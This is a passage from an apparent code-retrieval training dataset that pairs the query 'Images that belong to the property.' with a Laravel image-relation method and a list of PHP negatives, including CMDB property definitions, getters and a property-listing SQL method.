C__PROPERTY__PROVIDES__REPORT => false,\n C__PROPERTY__PROVIDES__SEARCH => false,\n C__PROPERTY__PROVIDES__LIST => false\n ]\n ]\n ),\n 'serial' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::text(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB__CATG__SERIAL',\n C__PROPERTY__INFO__DESCRIPTION => 'Serial number'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__serial'\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_SERIAL'\n ]\n ]\n ),\n 'assigned_raid' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::dialog(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CATD_DRIVE_TYPE__RAID_GROUP',\n C__PROPERTY__INFO__DESCRIPTION => 'Software RAID group'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__id__raid_pool',\n C__PROPERTY__DATA__REFERENCES => [\n 'isys_catg_raid_list',\n 'isys_catg_raid_list__id'\n ]\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_RAIDGROUP',\n C__PROPERTY__UI__PARAMS => [\n 'p_arData' => new isys_callback(\n [\n 'isys_cmdb_dao_category_g_drive',\n 'callback_property_assigned_raid'\n ]\n )\n ]\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__REPORT => true,\n C__PROPERTY__PROVIDES__SEARCH => false,\n C__PROPERTY__PROVIDES__LIST => false\n ],\n C__PROPERTY__FORMAT => [\n C__PROPERTY__FORMAT__CALLBACK => [\n 'isys_export_helper',\n 'get_reference_value'\n ]\n ]\n ]\n ),\n 'drive_type' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::int(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB__CATG__TYPE',\n C__PROPERTY__INFO__DESCRIPTION => 'Typ'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__isys_catd_drive_type__id',\n C__PROPERTY__DATA__REFERENCES => [\n 'isys_catd_drive_type',\n 'isys_catd_drive_type__id'\n ]\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_TYPE'\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__SEARCH => false,\n C__PROPERTY__PROVIDES__REPORT => false,\n C__PROPERTY__PROVIDES__VIRTUAL => true\n ]\n ]\n ),\n 'device' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::dialog(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CATD__DRIVE_DEVICE',\n C__PROPERTY__INFO__DESCRIPTION => 'On device'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__isys_catg_stor_list__id',\n C__PROPERTY__DATA__REFERENCES => [\n 'isys_catg_stor_list',\n 'isys_catg_stor_list__id'\n ]\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_DEVICE',\n C__PROPERTY__UI__PARAMS => [\n 'p_arData' => new isys_callback(\n [\n 'isys_cmdb_dao_category_g_drive',\n 'callback_property_devices'\n ]\n )\n ]\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__REPORT => false,\n C__PROPERTY__PROVIDES__LIST => false,\n C__PROPERTY__PROVIDES__MULTIEDIT => false,\n C__PROPERTY__PROVIDES__VIRTUAL => true\n ],\n C__PROPERTY__FORMAT => [\n C__PROPERTY__FORMAT__CALLBACK => [\n 'isys_export_helper',\n 'get_reference_value'\n ]\n ]\n ]\n ),\n 'raid' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::dialog(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CATD__DRIVE_DEVICE',\n C__PROPERTY__INFO__DESCRIPTION => 'On device Raid-Array'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__isys_catg_raid_list__id',\n C__PROPERTY__DATA__REFERENCES => [\n 'isys_catg_raid_list',\n 'isys_catg_raid_list__id'\n ]\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_DEVICE',\n C__PROPERTY__UI__PARAMS => [\n 'p_arData' => new isys_callback(\n [\n 'isys_cmdb_dao_category_g_drive',\n 'callback_property_devices'\n ]\n )\n ]\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__REPORT => false,\n C__PROPERTY__PROVIDES__LIST => false,\n C__PROPERTY__PROVIDES__MULTIEDIT => false,\n C__PROPERTY__PROVIDES__VIRTUAL => true\n ],\n C__PROPERTY__FORMAT => [\n C__PROPERTY__FORMAT__CALLBACK => [\n 'isys_export_helper',\n 'get_reference_value'\n ]\n ]\n ]\n ),\n 'ldev' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::dialog(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CATD__DRIVE_DEVICE',\n C__PROPERTY__INFO__DESCRIPTION => 'On device Logical devices (Client)'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__isys_catg_ldevclient_list__id',\n C__PROPERTY__DATA__REFERENCES => [\n 'isys_catg_ldevclient_list',\n 'isys_catg_ldevclient_list__id'\n ]\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_DEVICE',\n C__PROPERTY__UI__PARAMS => [\n 'p_arData' => new isys_callback(\n [\n 'isys_cmdb_dao_category_g_drive',\n 'callback_property_devices'\n ]\n )\n ]\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__REPORT => false,\n C__PROPERTY__PROVIDES__LIST => false,\n C__PROPERTY__PROVIDES__MULTIEDIT => false,\n C__PROPERTY__PROVIDES__VIRTUAL => true\n ],\n C__PROPERTY__FORMAT => [\n C__PROPERTY__FORMAT__CALLBACK => [\n 'isys_export_helper',\n 'get_reference_value'\n ]\n ]\n ]\n ),\n 'category_const' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::text(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB__OBJTYPE__CONST',\n C__PROPERTY__INFO__DESCRIPTION => 'Constant'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__const'\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CMDB__CATG__DRIVE__CATEGORY_CONST'\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__SEARCH => false,\n C__PROPERTY__PROVIDES__REPORT => false,\n C__PROPERTY__PROVIDES__MULTIEDIT => false,\n C__PROPERTY__PROVIDES__VIRTUAL => true\n ]\n ]\n ),\n 'free_space' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::float(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB__CATG__DRIVE__FREE_SPACE',\n C__PROPERTY__INFO__DESCRIPTION => 'Free space'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__free_space'\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CMDB__CATG__DRIVE__FREE_SPACE',\n C__PROPERTY__UI__PARAMS => [\n 'p_strClass' => 'input-dual-large'\n ]\n ],\n C__PROPERTY__FORMAT => [\n C__PROPERTY__FORMAT__CALLBACK => [\n 'isys_export_helper',\n 'convert',\n ['memory']\n ],\n C__PROPERTY__FORMAT__UNIT => 'free_space_unit',\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__LIST => false\n ]\n ]\n ),\n 'free_space_unit' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::dialog(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CATG__MEMORY_UNIT',\n C__PROPERTY__INFO__DESCRIPTION => 'Unit'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__free_space__isys_memory_unit__id',\n C__PROPERTY__DATA__FIELD_ALIAS => 'free_space_unit',\n C__PROPERTY__DATA__TABLE_ALIAS => 'fs_unit',\n C__PROPERTY__DATA__REFERENCES => [\n 'isys_memory_unit',\n 'isys_memory_unit__id'\n ]\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CMDB__CATG__DRIVE__FREE_SPACE_UNIT',\n C__PROPERTY__UI__PARAMS => [\n 'p_strTable' => 'isys_memory_unit',\n 'p_strClass' => 'input-dual-small',\n 'p_bInfoIconSpacer' => 0\n ]\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__REPORT => false,\n C__PROPERTY__PROVIDES__SEARCH => false,\n C__PROPERTY__PROVIDES__LIST => false\n ]\n ]\n ),\n 'used_space' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::float(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB__CATG__DRIVE__USED_SPACE',\n C__PROPERTY__INFO__DESCRIPTION => 'Free space'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__used_space'\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CMDB__CATG__DRIVE__USED_SPACE',\n C__PROPERTY__UI__PARAMS => [\n 'p_strClass' => 'input-dual-large'\n ]\n ],\n C__PROPERTY__FORMAT => [\n C__PROPERTY__FORMAT__CALLBACK => [\n 'isys_export_helper',\n 'convert',\n ['memory']\n ],\n C__PROPERTY__FORMAT__UNIT => 'used_space_unit',\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__LIST => false\n ]\n ]\n ),\n 'used_space_unit' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::dialog(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CATG__MEMORY_UNIT',\n C__PROPERTY__INFO__DESCRIPTION => 'Unit'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__used_space__isys_memory_unit__id',\n C__PROPERTY__DATA__FIELD_ALIAS => 'used_space_unit',\n C__PROPERTY__DATA__TABLE_ALIAS => 'us_unit',\n C__PROPERTY__DATA__REFERENCES => [\n 'isys_memory_unit',\n 'isys_memory_unit__id'\n ]\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CMDB__CATG__DRIVE__USED_SPACE_UNIT',\n C__PROPERTY__UI__PARAMS => [\n 'p_strTable' => 'isys_memory_unit',\n 'p_strClass' => 'input-dual-small',\n 'p_bInfoIconSpacer' => 0\n ]\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__REPORT => false,\n C__PROPERTY__PROVIDES__SEARCH => false,\n C__PROPERTY__PROVIDES__LIST => false\n ]\n ]\n ),\n 'description' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::commentary(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB__LOGBOOK__DESCRIPTION',\n C__PROPERTY__INFO__DESCRIPTION => 'Description'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__description'\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CMDB__CAT__COMMENTARY_' . C__CMDB__CATEGORY__TYPE_GLOBAL . C__CATG__DRIVE\n ]\n ]\n )\n ];\n }", "public static function getProperties()\n {\n return static::$properties;\n }", "public function __get($key) {\n if (method_exists($this, 'get_'.$key)) {\n return $this->{'get_'.$key}();\n }\n return $this->properties->{$key};\n }", "function get_value() {return $this->get();}", "function collectPropertiesAndActions()\n\t{\n\n\t}", "public function get_field_properties() {\n return array(PARAM_RAW, NULL_NOT_ALLOWED);\n }", "public function __get($value);", "public function __get($prop)\r\n {\r\n return $this->$prop;\r\n }", "public function get_properties()\r\n\t{\r\n\t\treturn get_object_vars($this);\r\n\t}", "function getPropertiesTemplate() {\n return ' public ${{PROPERTY_NAME}};\n';\n}", "public function getProperties(): array;", "public function getProperties(): array;", "function convert_prop_to_another($prop) {\n if ($prop == 'POSITION.X') {\n $prop = 'coordx';\n } else if ($prop == 'POSITION.Y') {\n $prop = 'coordy';\n } else if ($prop == 'SOURCE') {\n $prop = 'source';\n } else if ($prop == 'DEST') {\n $prop = 'dest';\n } else if ($prop == 'PLACE2TRANS') {\n $prop = 'place2trans';\n } else if ($prop == 'MARKING') {\n $prop = 'marking';\n } else if ($prop == 'VALUE') {\n $prop = 'value';\n }\n return $prop;\n }", "function getter(string $property): string\n{\n return 'get' . Str::studly($property);\n}" ]
[ "0.70698804", "0.68451375", "0.6550483", "0.6547372", "0.63997716", "0.6310483", "0.62984264", "0.6080563", "0.6046093", "0.6044191", "0.6031563", "0.59869015", "0.5980095", "0.5947342", "0.5904871", "0.58989125", "0.5875703", "0.5853254", "0.58530176", "0.58528626", "0.58528626", "0.58528626", "0.5848505", "0.5812731", "0.57688564", "0.5768625", "0.5766271", "0.57462466", "0.5701448", "0.56889725", "0.5688737", "0.5634882", "0.5634774", "0.5630269", "0.56242704", "0.56242704", "0.56242704", "0.56242704", "0.56124353", "0.5601002", "0.55872804", "0.55381286", "0.5528627", "0.55225354", "0.5520301", "0.54792833", "0.54791015", "0.54625136", "0.53762066", "0.536683", "0.5349263", "0.5337414", "0.53278583", "0.532504", "0.53154707", "0.5304361", "0.52993953", "0.5288736", "0.5263492", "0.52624476", "0.5254709", "0.52540916", "0.5248565", "0.5246557", "0.524242", "0.52416813", "0.52365875", "0.521398", "0.5212118", "0.520872", "0.52036506", "0.5196619", "0.51894563", "0.5186779", "0.5180775", "0.51794976", "0.5164393", "0.5150814", "0.51458645", "0.5137734", "0.51347625", "0.5123328", "0.51181823", "0.51181823", "0.51181823", "0.5114998", "0.51135033", "0.51102597", "0.51072246", "0.5102613", "0.51016974", "0.5100294", "0.50995284", "0.50986373", "0.50968665", "0.5094767", "0.5076464", "0.50726545", "0.50726545", "0.5069424", "0.50687796" ]
0.0
-1
The type of property assigned.
public function type() { return $this->belongsTo('App\Models\Properties\Type'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function get_type()\n {\n return $this->get_default_property(self::PROPERTY_TYPE);\n }", "public function getType()\n {\n return $this->getProperty('type');\n }", "public function getType()\n {\n if (array_key_exists(\"type\", $this->_propDict)) {\n return $this->_propDict[\"type\"];\n } else {\n return null;\n }\n }", "public function getType()\n {\n if (array_key_exists(\"type\", $this->_propDict)) {\n return $this->_propDict[\"type\"];\n } else {\n return null;\n }\n }", "final protected function get_type() {\n return $this->type;\n }", "function getType () {\n\t\treturn $this->type;\n\t}", "function type () {\r\n return $this->_type;\r\n }", "public function get_type() {\n return $this->_type;\n }", "public function GetType()\n {\n return ( $this->type );\n }", "function getType() { return $this->_type; }", "public function get_type(){\n\t\treturn $this->_type;\n\t}", "function getType() {\n\t\treturn $this->_type;\n\t}", "public function type()\n {\n return $this->_type;\n }", "function getType() { return $this->readType(); }", "private function get_type(){\n\t\treturn $this->_type;\n\t}", "function getType() {\n\t\treturn $this->type;\n\t}", "public function get_type() {\n\t\treturn $this->type;\n\t}", "public function get_type() {\n return $this->type;\n }", "function getType() {\n return $this->type;\n }", "function getType() { \n\t\treturn $this->_type; \n\t}", "public function getType()\n {\n return $this->_value->getType();\n }", "public function getType()\n {\n return parent::getValue('type');\n }", "function getType()\t { return $this->type;\t }", "public function type()\n {\n return $this->type;\n }", "public function type()\n {\n return $this->type;\n }", "public function type()\n {\n return $this->type;\n }", "public function type() {\n\t\t\treturn $this->_type;\n\t\t}", "function _get_type() {\n\t\treturn $this->type();\n\n\t}", "function getType() {\n\t\treturn $this->_Type;\n\t}", "public function getType()\n { return $this->get('type'); }", "public function getType() \n {\n return $this->_type;\n }", "public function getType()\n\t{\n\t\treturn $this->get('type');\n\t}", "public function getType() {\n\t\treturn $this->type;\n\t}", "public function getType() {\n\t\treturn $this->type;\n\t}", "public function getType() {\n\t\treturn $this->type;\n\t}", "public function getType() {\n\t\treturn $this->type;\n\t}", "public function getTypeClassProperty()\n {\n return AttributeManifest::getType($this->type);\n }", "public function getType()\n {\n\treturn $this->type;\n }", "public function getType()\r\n {\r\n return $this->_type;\r\n }", "public function getType()\n {\n return $this->_type;\n }", "public function getType()\n {\n return $this->_type;\n }", "public function getType()\n {\n return $this->_type;\n }", "public function getType()\n {\n return $this->_type;\n }", "public function getType()\n {\n return $this->_type;\n }", "public function getType()\n {\n return $this->_type;\n }", "public function getType()\n {\n return $this->_type;\n }", "public function getType() {\n return $this->_type;\n }", "public function getType() {\n return $this->_type;\n }", "public function getType()\r\n {\r\n return $this->m_type;\r\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n\t{\n\t\treturn $this->_type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->_type;\n\t}", "public function getType():string { return $this->type; }", "public function getType()\n {\n return $this->type;\n }", "public function objType()\n {\n return $this->objType;\n }", "public function getType()\n {\n return isset($this->type) ? $this->type : null;\n }", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "public function getType(){\n return $this->type;\n }", "public function getType(){\n return $this->type;\n }", "function getType()\n {\n return $this->getAttribute(\"type\");\n }", "public function getType() {\n\t\treturn self::$_type;\n\t}", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType() {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }", "public function getType()\n {\n return $this->type;\n }" ]
[ "0.7633802", "0.7095881", "0.70240945", "0.70240945", "0.66273123", "0.6594828", "0.65924567", "0.658126", "0.65543383", "0.65524626", "0.65408033", "0.6536106", "0.6535337", "0.65296245", "0.65188825", "0.65168726", "0.6481294", "0.6476667", "0.64649117", "0.6455731", "0.6452953", "0.6449814", "0.6445204", "0.64444065", "0.64444065", "0.64444065", "0.64407986", "0.64282006", "0.64270425", "0.6414202", "0.6405061", "0.6403359", "0.6400389", "0.6400389", "0.6400389", "0.6400389", "0.63974273", "0.6396502", "0.6393151", "0.637651", "0.637651", "0.637651", "0.637651", "0.637651", "0.637651", "0.637651", "0.63749516", "0.63749516", "0.636934", "0.63549817", "0.63549817", "0.63549817", "0.63549817", "0.6347548", "0.6347548", "0.6344248", "0.6344248", "0.6334475", "0.6333869", "0.6332185", "0.63274837", "0.63207865", "0.63207865", "0.63207865", "0.63207865", "0.63207865", "0.63207865", "0.63207865", "0.63207865", "0.63207865", "0.63207865", "0.63207865", "0.63207865", "0.6307487", "0.6307487", "0.63046837", "0.6303491", "0.6302863", "0.6302863", "0.6302863", "0.6302863", "0.6302863", "0.6302863", "0.6302863", "0.6302863", "0.6302863", "0.6302863", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413", "0.6299413" ]
0.0
-1
Images that belong to the property.
public function images() { return $this->HasMany('App\Models\Properties\Image')->orderBy('index', 'asc'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function images()\n {\n // Fetch all properties existing in the database\n $image = Image::all();\n\n // return list of properties;\n return $image;\n\n }", "public function images()\n {\n return $this->hasMany(PropertyImage::class,'property_id', 'id');\n }", "public function getImages(){\n return $this->images;\n }", "public function getImages()\r\n {\r\n return $this->images;\r\n }", "public function getImages()\n {\n return $this->images;\n }", "public function getImages()\n {\n return $this->images;\n }", "public function getImages()\n {\n return $this->images;\n }", "public function getImages()\n {\n return $this->images;\n }", "public function getImages()\n {\n return $this->images;\n }", "public function getImages()\n {\n return $this->images;\n }", "public function images()\n {\n return get_field('images');\n }", "public function Images() {\n\t\treturn new ArrayList(array_filter([$this->Image()]));\n\t}", "public function getImages() {\n\t\treturn($this->images);\n\t}", "public function get_images(){\n\t\treturn $this->images;\n\t}", "function get_images() \t{\n \t\treturn $this->getImages();\n \t}", "function getImages() \t{\n \t\treturn $this->images_array;\n \t}", "public function images()\n {\n return $this->morphMany('App\\Attachment', 'viewable');\n }", "public function images()\n {\n return $this->morphToMany('App\\Models\\Image', 'imageable');\n }", "public function ArtisanHasImages() {\n\t\treturn $this()->{self::FieldName}();\n\t}", "public function getImagesByProperty($propertyId){\n\t\treturn $this->model->where('property_id', '=', $propertyId)->orderBy('id', 'asc')->get();\n\t}", "public function images()\n {\n return $this->hasMany(Image::class, 'owner_id')->whereHas('type', function ($q) {\n return $q->where('type', static::class);\n });\n }", "public function images()\n {\n return $this->hasMany(ProductImageProxy::modelClass(), 'seller_product_id');\n }", "public function images()\n {\n return $this->morphToMany('App\\Images', 'imageable');\n }", "public function images()\n {\n return $this->morphToMany(Image::class, 'model', 'model_has_images', 'model_id', 'image_id');\n }", "public function images()\n {\n return $this->morphMany(Image::class, 'imagetable');\n }", "public function images()\n {\n return $this->morphMany(Image::class, 'imagetable');\n }", "public function images()\n {\n return $this->morphMany('App\\Models\\Image', 'imageable');\n }", "public function images()\n {\n return $this->morphMany('App\\Image', 'imageable');\n }", "public function images()\n {\n return $this->morphMany('App\\Image', 'imageable');\n }", "public function images()\n {\n return $this->morphMany('App\\Image', 'imageable');\n }", "public function Images()\n {\n $pngLeftTop = $this->objFromFixture('Image', 'pngLeftTop');\n $pngLeftTop->VerticalSliceTopLeftColor = 'ff0000';\n $pngLeftTop->VerticalSliceBottomRightColor = '00ff00';\n $pngLeftTop->HorizontalSliceTopLeftColor = 'ff0000';\n $pngLeftTop->HorizontalSliceBottomRightColor = 'ffff00';\n\n $pngRightTop = $this->objFromFixture('Image', 'pngRightTop');\n $pngRightTop->VerticalSliceTopLeftColor = 'ffff00';\n $pngRightTop->VerticalSliceBottomRightColor = '0000ff';\n $pngRightTop->HorizontalSliceTopLeftColor = 'ff0000';\n $pngRightTop->HorizontalSliceBottomRightColor = 'ffff00';\n\n $pngRightBottom = $this->objFromFixture('Image', 'pngRightBottom');\n $pngRightBottom->VerticalSliceTopLeftColor = 'ffff00';\n $pngRightBottom->VerticalSliceBottomRightColor = '0000ff';\n $pngRightBottom->HorizontalSliceTopLeftColor = '00ff00';\n $pngRightBottom->HorizontalSliceBottomRightColor = '0000ff';\n\n $pngLeftBottom = $this->objFromFixture('Image', 'pngLeftBottom');\n $pngLeftBottom->VerticalSliceTopLeftColor = 'ff0000';\n $pngLeftBottom->VerticalSliceBottomRightColor = '00ff00';\n $pngLeftBottom->HorizontalSliceTopLeftColor = '00ff00';\n $pngLeftBottom->HorizontalSliceBottomRightColor = '0000ff';\n\n return array($pngLeftTop, $pngRightTop, $pngRightBottom, $pngLeftBottom);\n }", "public function images() {\n return $this->morphMany(Image::class, 'imageable');\n }", "public function images()\n {\n return $this->hasMany('fooCart\\src\\ProductImage', 'product_id', 'product_id');\n }", "public function setImages(){\n\t\t// imagen destacada\n $this->thumbail_img = $this->getThumbnailImg();\n // imagenes\n $this->images = $this->getImages();\n\t}", "public function images()\n {\n return $this->morphMany(Image::class, 'imageable');\n }", "public function images()\n {\n return $this->morphMany(Image::class, 'imageable');\n }", "public function images()\n {\n return $this->morphMany(Image::class, 'imageable');\n }", "public function index()\n {\n $propimg = Images::all();\n return view('properties.display',compact('propimg'));\n }", "public function getPictures()\n {\n\n return $this->pictures;\n }", "public function images()\n\t{\n\t\treturn $this->hasMany(ProductImage::class);\n\t}", "public function images()\n {\n return $this->morphMany(Image::class, 'model');\n }", "function GetImages(){\n\t\t$this->MediaType = 'image/jpeg';\n\t\t$this->SetFileName();\n\t\treturn $this->get();\n\t}", "public function getImages()\n {\n return $this->hasMany(ProductImage::class, ['product_id' => 'id']);\n }", "public function getBitouPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '107'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->se